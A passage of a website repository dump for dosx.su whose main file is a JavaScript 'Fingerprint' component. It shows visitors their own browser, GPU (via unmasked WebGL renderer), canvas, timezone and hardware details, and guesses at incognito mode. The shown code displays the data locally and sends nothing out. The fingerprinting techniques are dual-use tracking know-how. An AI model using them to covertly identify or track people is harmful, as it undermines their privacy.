[
  {
    "path": ".gitattributes",
    "content": "*.* linguist-detectable=false"
  },
  {
    "path": "404.html",
    "content": "<h2>Wrong address! LOL.</h2>"
  },
  {
    "path": "404.md",
    "content": "-------\npermalink: /404.html\n-------\n"
  },
  {
    "path": "CNAME",
    "content": "dosx.su"
  },
  {
    "path": "README.md",
    "content": "## https://dosx.su/\n"
  },
  {
    "path": "app.fingerprint.js",
    "content": "/**\n * Fingerprint Component\n * Collects and displays browser & system information\n */\nclass Fingerprint {\n    constructor() {\n        this.output = document.getElementById('fingerprint-output');\n        this.toolbarButtons = document.querySelectorAll('.toolbar-button');\n        this.windowControls = {\n            minimize: document.querySelector('.window-control.minimize'),\n            maximize: document.querySelector('.window-control.maximize'),\n            close: document.querySelector('.window-control.close')\n        };\n        \n        // Add flag to track loading state\n        this.isLoading = false;\n        \n        this.initEventListeners();\n        this.generateFingerprint();\n    }\n    \n    initEventListeners() {\n        // Toolbar buttons functionality\n        this.toolbarButtons.forEach(button => {\n            button.addEventListener('click', () => {\n                // Check if the system is in loading process\n                // If so, don't react to the click\n                if (this.isLoading) {\n                    return;\n                }\n                \n                this.toolbarButtons.forEach(b => b.classList.remove('active'));\n                button.classList.add('active');\n                \n                // Switch view based on active tab\n                const view = button.textContent.toLowerCase();\n                this.showView(view);\n            });\n        });\n        \n        // Window controls are disabled\n        // We keep the controls for visual design but remove functionality\n        if (this.windowControls.minimize) {\n            this.windowControls.minimize.style.cursor = 'default';\n        }\n        \n        if (this.windowControls.maximize) {\n            this.windowControls.maximize.style.cursor = 'default';\n        }\n        \n        if (this.windowControls.close) {\n            this.windowControls.close.style.cursor = 'default';\n        }\n    }\n    \n    showView(view) {\n        if (!this.output) return;\n        \n        // Set loading flag\n        this.isLoading = true;\n        \n        // Clear current content\n        this.output.innerHTML = '';\n        \n        // Show loading animation\n        this.showLoading();\n        \n        // Simulate loading delay for better UX\n        setTimeout(() => {\n            switch(view) {\n                case 'overview':\n                    this.renderOverview();\n                    break;\n                case 'browser':\n                    this.renderBrowserInfo();\n                    break;\n                case 'system':\n                    this.renderSystemInfo();\n                    break;\n                default:\n                    this.renderOverview();\n            }\n            \n            // Reset loading flag after rendering completes\n            this.isLoading = false;\n        }, 800);\n    }\n    \n    showLoading() {\n        this.output.innerHTML = `\n            <div class=\"loading-scanner\">\n                <div class=\"scanner-animation\"></div>\n                <div class=\"scanner-text\">Scanning your device...</div>\n            </div>\n        `;\n    }\n    \n    generateFingerprint() {\n        // Set loading flag during initial initialization\n        this.isLoading = true;\n        \n        // Simulate initial delay for better UX\n        setTimeout(() => {\n            this.renderOverview();\n            // Reset loading flag after initialization completes\n            this.isLoading = false;\n        }, 1500);\n    }\n    \n    renderOverview() {\n        if (!this.output) return;\n        \n        const userAgent = navigator.userAgent;\n        const browserInfo = this.getBrowserInfo(userAgent);\n        const hashedFingerprint = this.generateHashedFingerprint();\n        const suspicionInfo = this.analyzeUserAgentSuspicion();\n        const suspicionClass = `suspicion-${suspicionInfo.level.toLowerCase()}`;\n        const featureSupport = this.generateFeatureSupport();\n        \n        // Determine color and class for browser feature support\n        let supportClass;\n        if (featureSupport.percentage >= 80) {\n            supportClass = 'support-high';\n        } else if (featureSupport.percentage >= 60) {\n            supportClass = 'support-medium';\n        } else {\n            supportClass = 'support-low';\n        }\n        \n        const html = `\n            <div class=\"fingerprint-section-title\">Device Overview</div>\n            <div class=\"fingerprint-card main-fp\">\n                <div class=\"fingerprint-hash\">${hashedFingerprint}</div>\n                <div class=\"device-type-icon ${this.getDeviceType().toLowerCase()}\"></div>\n            </div>\n            \n            <div class=\"fingerprint-card feature-support-card ${supportClass}\">\n                <div class=\"card-title\">\n                    <div class=\"card-icon feature\"></div>\n                    Browser Feature Support\n                </div>\n                <div class=\"card-content\">\n                    <div class=\"support-meter\">\n                        <div class=\"support-meter-fill\" style=\"width: ${featureSupport.percentage}%;\"></div>\n                        <div class=\"support-meter-text\">${featureSupport.percentage}%</div>\n                    </div>\n                    <div class=\"info-row\">\n                        <span class=\"info-label\">Supported Features:</span>\n                        <span class=\"info-value\">${featureSupport.supported} of ${featureSupport.total}</span>\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"suspicion-card ${suspicionClass}\">\n                <div class=\"suspicion-header\">\n                    <div class=\"suspicion-title\">User Agent Suspicion Level</div>\n                    <div class=\"suspicion-badge\">${suspicionInfo.level}</div>\n                </div>\n                <div class=\"suspicion-content\">\n                    <ul>\n                        ${suspicionInfo.reasons.length > 0 ? \n                            suspicionInfo.reasons.map(reason => `<li>${reason}</li>`).join('') : \n                            '<li>No suspicious patterns detected</li>'}\n                    </ul>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-grid\">\n                <div class=\"fingerprint-card\">\n                    <div class=\"card-title\">\n                        <div class=\"card-icon browser\"></div>\n                        Browser\n                    </div>\n                    <div class=\"card-content\">\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Name:</span>\n                            <span class=\"info-value\">${browserInfo.browser}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Version:</span>\n                            <span class=\"info-value\">${browserInfo.version}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Engine:</span>\n                            <span class=\"info-value\">${this.getBrowserEngine()}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Canvas ID:</span>\n                            <span class=\"info-value\">${this.getCanvasFingerprint()}</span>\n                        </div>\n                    </div>\n                </div>\n                \n                <div class=\"fingerprint-card\">\n                    <div class=\"card-title\">\n                        <div class=\"card-icon os\"></div>\n                        Operating System\n                    </div>\n                    <div class=\"card-content\">\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">OS:</span>\n                            <span class=\"info-value\">${browserInfo.os}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Platform:</span>\n                            <span class=\"info-value\">${navigator.platform}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">CPU Cores:</span>\n                            <span class=\"info-value\">${navigator.hardwareConcurrency || 'N/A'}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Architecture:</span>\n                            <span class=\"info-value\">${this.getArchitecture()}</span>\n                        </div>\n                    </div>\n                </div>\n                \n                <div class=\"fingerprint-card\">\n                    <div class=\"card-title\">\n                        <div class=\"card-icon display\"></div>\n                        Display\n                    </div>\n                    <div class=\"card-content\">\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Resolution:</span>\n                            <span class=\"info-value\">${window.screen.width}x${window.screen.height}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Pixel Ratio:</span>\n                            <span class=\"info-value\">${window.devicePixelRatio.toFixed(2)}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Color Depth:</span>\n                            <span class=\"info-value\">${window.screen.colorDepth}-bit</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Color Scheme:</span>\n                            <span class=\"info-value\">${this.getPreferredColorScheme()}</span>\n                        </div>\n                    </div>\n                </div>\n                \n                <div class=\"fingerprint-card\">\n                    <div class=\"card-title\">\n                        <div class=\"card-icon privacy\"></div>\n                        Privacy\n                    </div>\n                    <div class=\"card-content\">\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Cookies:</span>\n                            <span class=\"info-value\">${navigator.cookieEnabled ? 'Enabled' : 'Disabled'}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Do Not Track:</span>\n                            <span class=\"info-value\">${this.getDNTStatus()}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Incognito:</span>\n                            <span class=\"info-value\">${this.isIncognitoMode() ? 'Likely Yes' : 'Likely No'}</span>\n                        </div>\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Touch Input:</span>\n                            <span class=\"info-value\">${this.detectTouchEmulation()}</span>\n                        </div>\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-additional-section\">\n                <div class=\"fingerprint-section-title\">Regional & Timezone Data</div>\n                <div class=\"fingerprint-card language-card\">\n                    <div class=\"card-title\">\n                        <div class=\"card-icon language\"></div>\n                        Languages\n                    </div>\n                    <div class=\"card-content\">\n                        ${Object.entries(this.getLanguageInfo()).map(([key, value]) => `\n                            <div class=\"info-row\">\n                                <span class=\"info-label\">${key}:</span>\n                                <span class=\"info-value\">${value}</span>\n                            </div>\n                        `).join('')}\n                    </div>\n                </div>\n                \n                <div class=\"fingerprint-card timezone-card\">\n                    <div class=\"card-title\">\n                        <div class=\"card-icon timezone\"></div>\n                        Timezone\n                    </div>\n                    <div class=\"card-content\">\n                        ${Object.entries(this.getDetailedTimezoneInfo()).map(([key, value]) => `\n                            <div class=\"info-row\">\n                                <span class=\"info-label\">${key}:</span>\n                                <span class=\"info-value\">${value}</span>\n                            </div>\n                        `).join('')}\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-section-title\">API Capabilities</div>\n            <div class=\"fingerprint-card api-support-card\">\n                <div class=\"card-title\">\n                    <div class=\"card-icon capabilities\"></div>\n                    Supported Browser APIs\n                </div>\n                <div class=\"api-capabilities-grid\">\n                    <div class=\"api-item ${this.getAvailableAPIs().Bluetooth ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon bluetooth-icon\"></div>\n                        <div class=\"api-name\">Bluetooth</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().Geolocation ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon geo-icon\"></div>\n                        <div class=\"api-name\">Geolocation</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().WebRTC ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon rtc-icon\"></div>\n                        <div class=\"api-name\">WebRTC</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Credential Management'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon credential-icon\"></div>\n                        <div class=\"api-name\">Credential Mgmt</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().USB ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon usb-icon\"></div>\n                        <div class=\"api-name\">USB</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().Serial ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon serial-icon\"></div>\n                        <div class=\"api-name\">Serial</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().GamePads ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon gamepad-icon\"></div>\n                        <div class=\"api-name\">GamePads</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().Vibration ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon vibration-icon\"></div>\n                        <div class=\"api-name\">Vibration</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Payment Request'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon payment-icon\"></div>\n                        <div class=\"api-name\">Payment Request</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Web Share'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon share-icon\"></div>\n                        <div class=\"api-name\">Web Share</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Push API'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon push-icon\"></div>\n                        <div class=\"api-name\">Push API</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().Notifications ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon notifications-icon\"></div>\n                        <div class=\"api-name\">Notifications</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Media Devices'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon media-icon\"></div>\n                        <div class=\"api-name\">Media Devices</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Speech Recognition'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon speech-icon\"></div>\n                        <div class=\"api-name\">Speech Recognition</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Web Workers'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon worker-icon\"></div>\n                        <div class=\"api-name\">Web Workers</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Service Workers'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon service-icon\"></div>\n                        <div class=\"api-name\">Service Workers</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().WebGL ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon webgl-icon\"></div>\n                        <div class=\"api-name\">WebGL</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().WebGL2 ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon webgl2-icon\"></div>\n                        <div class=\"api-name\">WebGL2</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().WebVR ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon webvr-icon\"></div>\n                        <div class=\"api-name\">WebVR</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs().WebXR ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon webxr-icon\"></div>\n                        <div class=\"api-name\">WebXR</div>\n                    </div>\n                    <div class=\"api-item ${this.getAvailableAPIs()['Web Audio'] ? 'supported' : 'unsupported'}\">\n                        <div class=\"api-icon audio-icon\"></div>\n                        <div class=\"api-name\">Audio API</div>\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-footer\">\n                <div class=\"fingerprint-note\">Your browser supports ${this.generateFeatureSupport().supported} out of ${this.generateFeatureSupport().total} modern web features and APIs.</div>\n            </div>\n        `;\n        \n        this.output.innerHTML = html;\n    }\n    \n    renderBrowserInfo() {\n        if (!this.output) return;\n        \n        const userAgent = navigator.userAgent;\n        const browserInfo = this.getBrowserInfo(userAgent);\n        \n        const html = `\n            <div class=\"fingerprint-section-title\">Browser Information</div>\n            \n            <div class=\"browser-header\">\n                <div class=\"browser-icon ${browserInfo.browser.toLowerCase().replace(' ', '-')}\"></div>\n                <div class=\"browser-title\">\n                    <div class=\"browser-name\">${browserInfo.browser}</div>\n                    <div class=\"browser-version\">Version ${browserInfo.version}</div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">Core Information</div>\n                <div class=\"details-grid\">\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">User Agent</div>\n                        <div class=\"details-value code-block\">${userAgent}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Engine</div>\n                        <div class=\"details-value\">${this.getBrowserEngine()}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Language</div>\n                        <div class=\"details-value\">${navigator.language || 'N/A'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Languages</div>\n                        <div class=\"details-value\">${navigator.languages ? navigator.languages.join(', ') : 'N/A'}</div>\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">Features & Capabilities</div>\n                <div class=\"support-summary\">\n                    <div class=\"support-meter\">\n                        <div class=\"support-meter-fill\" style=\"width: ${this.generateFeatureSupport().percentage}%;\"></div>\n                        <div class=\"support-meter-text\">${this.generateFeatureSupport().percentage}% Supported</div>\n                    </div>\n                    <div class=\"support-stats\">\n                        <div class=\"info-row\">\n                            <span class=\"info-label\">Supported Features:</span>\n                            <span class=\"info-value\">${this.generateFeatureSupport().supported} of ${this.generateFeatureSupport().total}</span>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"features-grid\">\n                    ${this.generateFeaturesList()}\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">Storage Information</div>\n                <div class=\"details-grid\">\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Cookies Enabled</div>\n                        <div class=\"details-value\">${navigator.cookieEnabled ? 'Yes' : 'No'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Local Storage</div>\n                        <div class=\"details-value\">${typeof window.localStorage !== 'undefined' ? 'Available' : 'Not Available'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Session Storage</div>\n                        <div class=\"details-value\">${typeof window.sessionStorage !== 'undefined' ? 'Available' : 'Not Available'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">IndexedDB</div>\n                        <div class=\"details-value\">${typeof window.indexedDB !== 'undefined' ? 'Available' : 'Not Available'}</div>\n                    </div>\n                </div>\n            </div>\n        `;\n        \n        this.output.innerHTML = html;\n    }\n    \n    renderSystemInfo() {\n        if (!this.output) return;\n        \n        const browserInfo = this.getBrowserInfo(navigator.userAgent);\n        const gpuInfo = this.getGPUInfo();\n        \n        const html = `\n            <div class=\"fingerprint-section-title\">System Information</div>\n            \n            <div class=\"system-header\">\n                <div class=\"system-icon ${browserInfo.os.toLowerCase().replace(' ', '-')}\"></div>\n                <div class=\"system-title\">\n                    <div class=\"system-name\">${browserInfo.os}</div>\n                    <div class=\"system-arch\">${navigator.platform}</div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">Hardware Information</div>\n                <div class=\"details-grid\">\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">CPU Cores detected</div>\n                        <div class=\"details-value\">${navigator.hardwareConcurrency || 'N/A'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Memory (approx.)</div>\n                        <div class=\"details-value\">${this.getApproximateMemory()}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Battery Status</div>\n                        <div class=\"details-value\">${this.getBatteryInfo()}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Device Type</div>\n                        <div class=\"details-value\">${this.getDeviceType()}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Touch Points</div>\n                        <div class=\"details-value\">${navigator.maxTouchPoints || 0}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Architecture</div>\n                        <div class=\"details-value\">${this.getArchitecture()}</div>\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">GPU Information</div>\n                <div class=\"details-grid\">\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">GPU Vendor</div>\n                        <div class=\"details-value\">${gpuInfo.vendor || 'Unknown'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">GPU Renderer</div>\n                        <div class=\"details-value\">${gpuInfo.renderer || 'Unknown'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">WebGL Version</div>\n                        <div class=\"details-value\">${gpuInfo.version || 'N/A'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">WebGL2 Support</div>\n                        <div class=\"details-value\">${this.hasWebGL2() ? 'Yes' : 'No'}</div>\n                    </div>\n                    ${gpuInfo.details ? `\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">GLSL Version</div>\n                        <div class=\"details-value\">${gpuInfo.details['GLSL Version'] || 'N/A'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Max Texture Size</div>\n                        <div class=\"details-value\">${gpuInfo.details['Max Texture Size'] || 'N/A'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Max Viewport Dims</div>\n                        <div class=\"details-value\">${gpuInfo.details['Max Viewport Dims'] || 'N/A'}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Max Renderbuffer Size</div>\n                        <div class=\"details-value\">${gpuInfo.details['Max Renderbuffer Size'] || 'N/A'}</div>\n                    </div>\n                    ` : ''}\n                </div>\n                ${gpuInfo.details && gpuInfo.details['Key Extensions'] ? `\n                <div class=\"extensions-list\">\n                    <div class=\"extensions-title\">WebGL Extensions</div>\n                    <div class=\"extensions-value code-block\">${gpuInfo.details['Key Extensions']}</div>\n                </div>\n                ` : ''}\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">Display Information</div>\n                <div class=\"details-grid\">\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Screen Resolution</div>\n                        <div class=\"details-value\">${window.screen.width}x${window.screen.height}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Available Resolution</div>\n                        <div class=\"details-value\">${window.screen.availWidth}x${window.screen.availHeight}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Viewport Size</div>\n                        <div class=\"details-value\">${window.innerWidth}x${window.innerHeight}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Pixel Ratio</div>\n                        <div class=\"details-value\">${window.devicePixelRatio.toFixed(2)}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Color Depth</div>\n                        <div class=\"details-value\">${window.screen.colorDepth}-bit</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Preferred Color Scheme</div>\n                        <div class=\"details-value\">${this.getPreferredColorScheme()}</div>\n                    </div>\n                </div>\n            </div>\n            \n            <div class=\"fingerprint-details-section\">\n                <div class=\"details-title\">Time & Location</div>\n                <div class=\"details-grid\">\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Time Zone</div>\n                        <div class=\"details-value\">${Intl.DateTimeFormat().resolvedOptions().timeZone}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Time Zone Offset</div>\n                        <div class=\"details-value\">UTC ${this.getTimezoneOffsetString()}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Date Format</div>\n                        <div class=\"details-value\">${new Intl.DateTimeFormat().format(new Date())}</div>\n                    </div>\n                    <div class=\"details-item\">\n                        <div class=\"details-label\">Number Format</div>\n                        <div class=\"details-value\">${new Intl.NumberFormat().format(1234567.89)}</div>\n                    </div>\n                </div>\n            </div>\n        `;\n        \n        this.output.innerHTML = html;\n    }\n    \n    // Network section has been removed\n    \n    // Helper methods\n    getBrowserInfo(userAgent) {\n        const ua = userAgent.toLowerCase();\n        let browser, version, os;\n        \n        // Detect browser and version\n        if (ua.indexOf('edge') !== -1) {\n            browser = 'Microsoft Edge';\n            version = ua.match(/edge\\/(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else if (ua.indexOf('edg') !== -1) {\n            browser = 'Microsoft Edge';\n            version = ua.match(/edg\\/(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else if (ua.indexOf('chrome') !== -1) {\n            browser = 'Chrome';\n            version = ua.match(/chrome\\/(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else if (ua.indexOf('safari') !== -1) {\n            browser = 'Safari';\n            version = ua.match(/version\\/(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else if (ua.indexOf('firefox') !== -1) {\n            browser = 'Firefox';\n            version = ua.match(/firefox\\/(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else if (ua.indexOf('msie') !== -1 || ua.indexOf('trident') !== -1) {\n            browser = 'Internet Explorer';\n            version = ua.match(/(?:msie |rv:)(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else if (ua.indexOf('opera') !== -1 || ua.indexOf('opr') !== -1) {\n            browser = 'Opera';\n            version = ua.match(/(?:opera|opr)\\/(\\d+(\\.\\d+)?)/i)?.[1] || 'Unknown';\n        } else {\n            browser = 'Unknown Browser';\n            version = 'Unknown';\n        }\n        \n        // Detect OS\n        if (ua.indexOf('windows') !== -1) {\n            os = 'Windows';\n            if (ua.indexOf('windows nt 10') !== -1) os = 'Windows 10';\n            else if (ua.indexOf('windows nt 6.3') !== -1) os = 'Windows 8.1';\n            else if (ua.indexOf('windows nt 6.2') !== -1) os = 'Windows 8';\n            else if (ua.indexOf('windows nt 6.1') !== -1) os = 'Windows 7';\n        } else if (ua.indexOf('macintosh') !== -1 || ua.indexOf('mac os x') !== -1) {\n            os = 'macOS';\n            const macOSMatch = ua.match(/mac os x (\\d+[._]\\d+([._]\\d+)?)/i);\n            if (macOSMatch) {\n                const versionStr = macOSMatch[1].replace(/_/g, '.');\n                if (parseInt(versionStr) >= 10.16 || parseInt(versionStr) >= 11) {\n                    os = 'macOS Big Sur or newer';\n                } else if (versionStr.startsWith('10.15')) {\n                    os = 'macOS Catalina';\n                } else if (versionStr.startsWith('10.14')) {\n                    os = 'macOS Mojave';\n                }\n            }\n        } else if (ua.indexOf('android') !== -1) {\n            os = 'Android';\n            const match = ua.match(/android\\s([0-9.]*)/i);\n            if (match) os = `Android ${match[1]}`;\n        } else if (ua.indexOf('ios') !== -1 || ua.indexOf('iphone') !== -1 || ua.indexOf('ipad') !== -1) {\n            os = 'iOS';\n            const match = ua.match(/os\\s([0-9_]*)/i);\n            if (match) os = `iOS ${match[1].replace(/_/g, '.')}`;\n        } else if (ua.indexOf('linux') !== -1) {\n            os = 'Linux';\n        } else {\n            os = 'Unknown OS';\n        }\n        \n        return { browser, version, os };\n    }\n    \n    getBrowserEngine() {\n        const ua = navigator.userAgent.toLowerCase();\n        \n        if (ua.indexOf('webkit') !== -1) {\n            if (ua.indexOf('chrome') !== -1) {\n                return 'Blink';\n            }\n            return 'WebKit';\n        } else if (ua.indexOf('gecko') !== -1 && ua.indexOf('firefox') !== -1) {\n            return 'Gecko';\n        } else if (ua.indexOf('trident') !== -1 || ua.indexOf('msie') !== -1) {\n            return 'Trident';\n        } else if (ua.indexOf('edg') !== -1) {\n            return 'EdgeHTML';\n        }\n        \n        return 'Unknown';\n    }\n    \n    getDeviceType() {\n        const ua = navigator.userAgent.toLowerCase();\n        \n        if (/(tablet|ipad|playbook|silk)|(android(?!.*mobi))/i.test(ua)) {\n            return 'Tablet';\n        } else if (/mobile|android|iphone|ipod|blackberry|opera mini|iemobile/i.test(ua)) {\n            return 'Mobile';\n        }\n        \n        return 'Desktop';\n    }\n    \n    isIncognitoMode() {\n        // Very basic detection, not foolproof\n        try {\n            localStorage.setItem('test', 'test');\n            localStorage.removeItem('test');\n            return false;\n        } catch (e) {\n            return true;\n        }\n    }\n    \n    getApproximateMemory() {\n        if (navigator.deviceMemory) {\n            return `${navigator.deviceMemory} GB`;\n        }\n        \n        const cores = navigator.hardwareConcurrency || 2;\n        \n        // Very rough estimate based on CPU cores\n        if (cores <= 2) return '2-4 GB (estimate)';\n        if (cores <= 4) return '4-8 GB (estimate)';\n        if (cores <= 8) return '8-16 GB (estimate)';\n        return '16+ GB (estimate)';\n    }\n    \n    getTimezoneOffsetString() {\n        const offset = new Date().getTimezoneOffset();\n        const hours = Math.abs(Math.floor(offset / 60));\n        const minutes = Math.abs(offset % 60);\n        const sign = offset < 0 ? '+' : '-';\n        \n        return `${sign}${hours.toString().padStart(2, '0')}:${minutes.toString().padStart(2, '0')}`;\n    }\n    \n    getConnectionType() {\n        if ('connection' in navigator) {\n            const conn = navigator.connection;\n            if (conn && conn.effectiveType) {\n                return conn.effectiveType.toUpperCase();\n            }\n        }\n        return 'Unknown';\n    }\n    \n    getDownlinkSpeed() {\n        if ('connection' in navigator) {\n            const conn = navigator.connection;\n            if (conn && conn.downlink) {\n                return `${conn.downlink} Mbps`;\n            }\n        }\n        return 'Unknown';\n    }\n    \n    getRTT() {\n        if ('connection' in navigator) {\n            const conn = navigator.connection;\n            if (conn && conn.rtt) {\n                return `${conn.rtt} ms`;\n            }\n        }\n        return 'Unknown';\n    }\n    \n    getDataSaver() {\n        if ('connection' in navigator) {\n            const conn = navigator.connection;\n            if (conn && 'saveData' in conn) {\n                return conn.saveData ? 'Enabled' : 'Disabled';\n            }\n        }\n        return 'Unknown';\n    }\n    \n    getGPUInfo() {\n        try {\n            const canvas = document.createElement('canvas');\n            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');\n            \n            if (!gl) {\n                return { vendor: 'Not available', renderer: 'Not available', version: 'Not available' };\n            }\n            \n            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');\n            \n            // Get WebGL capabilities\n            const maxTextureSize = gl.getParameter(gl.MAX_TEXTURE_SIZE);\n            const maxViewportDims = gl.getParameter(gl.MAX_VIEWPORT_DIMS);\n            const maxRenderbufferSize = gl.getParameter(gl.MAX_RENDERBUFFER_SIZE);\n            \n            // Get WebGL version and GLSL version\n            const glVersion = gl.getParameter(gl.VERSION);\n            const glslVersion = gl.getParameter(gl.SHADING_LANGUAGE_VERSION);\n            \n            // Get supported extensions\n            const extensions = gl.getSupportedExtensions();\n            const keyExtensions = extensions.filter(ext => \n                ext.includes('OES_texture_float') || \n                ext.includes('WEBGL_depth_texture') || \n                ext.includes('WEBGL_compressed_texture') ||\n                ext.includes('ANGLE') ||\n                ext.includes('OES_standard_derivatives')\n            );\n            \n            if (debugInfo) {\n                return {\n                    vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) || 'Unknown',\n                    renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) || 'Unknown',\n                    version: glVersion || 'Unknown',\n                    details: {\n                        'Vendor': gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) || 'Unknown',\n                        'Renderer': gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) || 'Unknown',\n                        'WebGL Version': glVersion || 'Unknown',\n                        'GLSL Version': glslVersion || 'Unknown',\n                        'Max Texture Size': 